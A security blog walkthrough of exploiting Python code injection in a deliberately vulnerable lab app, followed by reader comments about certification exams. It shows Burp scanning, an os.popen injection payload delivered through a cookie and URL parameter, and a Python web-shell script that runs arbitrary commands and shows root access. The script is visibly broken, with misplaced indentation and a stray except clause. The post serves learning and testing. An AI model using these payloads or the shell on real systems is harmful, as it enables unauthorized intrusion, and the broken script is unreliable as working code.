Exploiting Python Code Injection in Web Applications

I was looking into python code injection recently, and ran across SethSec’s blog post.

This looked like a great example, and I wanted to run through it myself.

First off, I downloaded the PyCodeInjection application and got it running locally.

[email protected]:~/Documents# ls
[email protected]:~/Documents# git clone https://github.com/sethsec/PyCodeInjection.git
Cloning into 'PyCodeInjection'...
remote: Counting objects: 67, done.
remote: Total 67 (delta 0), reused 0 (delta 0), pack-reused 67
Unpacking objects: 100% (67/67), done.
Checking connectivity... done.
[email protected]:~/Documents# cd PyCodeInjection/
[email protected]:~/Documents/PyCodeInjection# ls
PyCodeInjectionShell.py README.md       VulnApp
[email protected]:~/Documents/PyCodeInjection# cd VulnApp/
ro[email protected]:~/Documents/PyCodeInjection/VulnApp# ls
PyCodeInjectionApp.py   install_requirements.sh requirements.txt    templates
[email protected]:~/Documents/PyCodeInjection/VulnApp# ./install_requirements.sh 
./install_requirements.sh: line 5: apt-get: command not found
Collecting web.py (from -r requirements.txt (line 1))
  Downloading web.py-0.38.tar.gz (91kB)
    100% |████████████████████████████████| 92kB 1.7MB/s 
Building wheels for collected packages: web.py
  Running setup.py bdist_wheel for web.py ... done
Successfully built web.py
Installing collected packages: web.py
Successfully installed web.py-0.38
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
[email protected]:~/Documents/PyCodeInjection/VulnApp# ls
PyCodeInjectionApp.py   install_requirements.sh requirements.txt    templates
[email protected]:~/Documents/PyCodeInjection/VulnApp# python PyCodeInjectionApp.py 8123

Once the application was running, I verified that I was able to reach it through my browser.

Python Code Injection - Hello World

Python Code Injection - Vulnerable Application

I saw the GET requests to the vulnerable application, so I knew that I was up and running. - - [18/Nov/2016 13:00:24] "HTTP/1.1 GET /pyinject" - 200 OK - - [18/Nov/2016 13:00:56] "HTTP/1.1 GET /pyinject" - 200 OK - - [18/Nov/2016 13:01:08] "HTTP/1.1 GET /pyinject" - 200 OK

First, I sent a basic GET request with the mentioned parameters to the application.

Python Code Injection - Basic Request

Since nothing came from this yet (obviously), I also sent an example request with the cookie. I knew that this wouldn’t cause any injection to occur, but it would let Burp know that there was a cookie that could be passed as well.

Python Code Injection - Request With Cookie

With my requests loaded up into Burp, I then kicked off Scanner. Within a few second, Scanner picked up on the Python Code Injection and reported it.

Python Code Injection - Burp Scanner

Forwarding Burp’s request to Repeater, I was able to reproduce the 20 second sleep from the payload.

Python Code Injection - Burp Sleep

After verifying the code injection, I put a quick Python one-liner into my cookie. This will import os, run the popen method on ‘id’, and then read the object into a string.

Python Code Injection - ID Cookie

With my code injection working, I then set out to reproduce this in my browser. First, I URL encoded my payload to prevent any issues with the special characters.

Python Code Injection - URL Encode

Python Code Injection - URL in Browser

After properly encoding the payload, I sent my GET request and got the ‘id’ response in my browser!

Python Code Injection - Browser Exploit

Obtaining a “shell”

In addition, I decided to integrate my exploit with a modified version of RWSH.

Finally, after modifying RWSH (v1.0, stay on the lookout for a new version), I was able to obtain a “shell” with this python code injection.

[email protected]:~# python pyInjectionShell.py 

[*] Connecting to web shell:

[*] Obtaining username.

[*] Obtaining hostname.

[+] Returning prompt!

[email protected]:~$ id
uid=0(root) gid=0(root) groups=0(root)

root@kali:~$ whoami

[email protected]:~$ ls -al
total 32
drwxr-xr-x  7 root  root   238 Nov 18 12:49 .
drwxr-xr-x  8 root  root   272 Nov 18 13:06 ..
-rw-r--r--  1 root  root  4067 Nov 18 12:47 PyCodeInjectionApp.py
-rw-r--r--  1 root  root  3586 Nov 18 12:49 PyCodeInjectionApp.pyc
-rwxr-xr-x  1 root  root   161 Nov 18 12:42 install_requirements.sh
-rw-r--r--  1 root  root     7 Nov 18 12:42 requirements.txt
drwxr-xr-x  3 root  root   102 Nov 18 12:42 templates

[email protected]:~$ exit


[email protected]:~# 

The modified code for this exploit is below. Note that the HTML parsing isn’t perfect, so you will have to modify this on a target by target basis.

import requests
import string
from bs4 import BeautifulSoup

def main():
    session = requests.Session()
    session.trust_env = False
    ip = ""
    port = "8123"
    filename = "pyinject"
    param = "param1"
    pycommand1 = "__import__('os').popen('"
    pycommand2 = "').read()"
    url = "http://" + ip + ":" + port + "/" + filename
    print "\n[*] Connecting to web shell:"
    print "    " + url
    print "\n[*] Obtaining username."

    command = "whoami"
    r = session.get(url, params={param: pycommand1 + command + pycommand2})

    username = ''
    soup = BeautifulSoup(r.text, 'html.parser')

    for br in soup.find_all("br"):
        if not '</br></br>' in str(br):
            username = br.text.strip()
    if "\\" in username:
        username = username.split("\\",1)[1]

    print "\n[*] Obtaining hostname."

    command = "hostname"
    r = session.get(url, params={param: pycommand1 + command + pycommand2})

    hostname = ''
    soup = BeautifulSoup(r.text, 'html.parser')

    for br in soup.find_all("br"):
        if not '</br></br>' in str(br):
            hostname = br.text.strip()

    print "\n[+] Returning prompt!\n\n"
        while True:
            cmd = raw_input(username + "@" + hostname + ":~$ ")
            if cmd == "exit":
                print "\n\n[-] EXITING\n"
                r = session.get(url, params={param: pycommand1 + cmd + pycommand2})
                soup = BeautifulSoup(r.text, 'html.parser')
                for br in soup.find_all("br"):
                    if not '</br></br>' in str(br):
                        print br.text.strip() + "\n"
    except KeyboardInterrupt:
        print "\n\n\n[-] EXITING\n"
if __name__ == "__main__":

7 thoughts on “Exploiting Python Code Injection in Web Applications”

      1. Sounds good! I have a question that doesn’t have much to do with this blog post. I know you got your ECPPT from ElearnSecurity. I’m currently enrolled in the course and studying for the exam. The course comes with a wifihacking section. Does the exam hack some sort of wifi hacking or is this just a bonus section?

        1. I don’t even remember a WiFi section in my coursework to be honest. There was definitely no WiFi in my exam though, so you shouldn’t need to be worried about that.

          1. Thanks dude! After this exam I plan on either taking the mobile hacking course or web app course. I know you recently got your web hacking cert from eLearnSecurity. I may have more questions for you later on haha. I hope you don’t mind.

  1. Pingback: 注入资源汇总PE注入,DLL注入,代码注入,Shellcode注入,ELF注入-Legend‘s BLog

  2. Pingback: PyLint and Django-Lint for Python Static Analysis | doyler.net

Leave a Comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.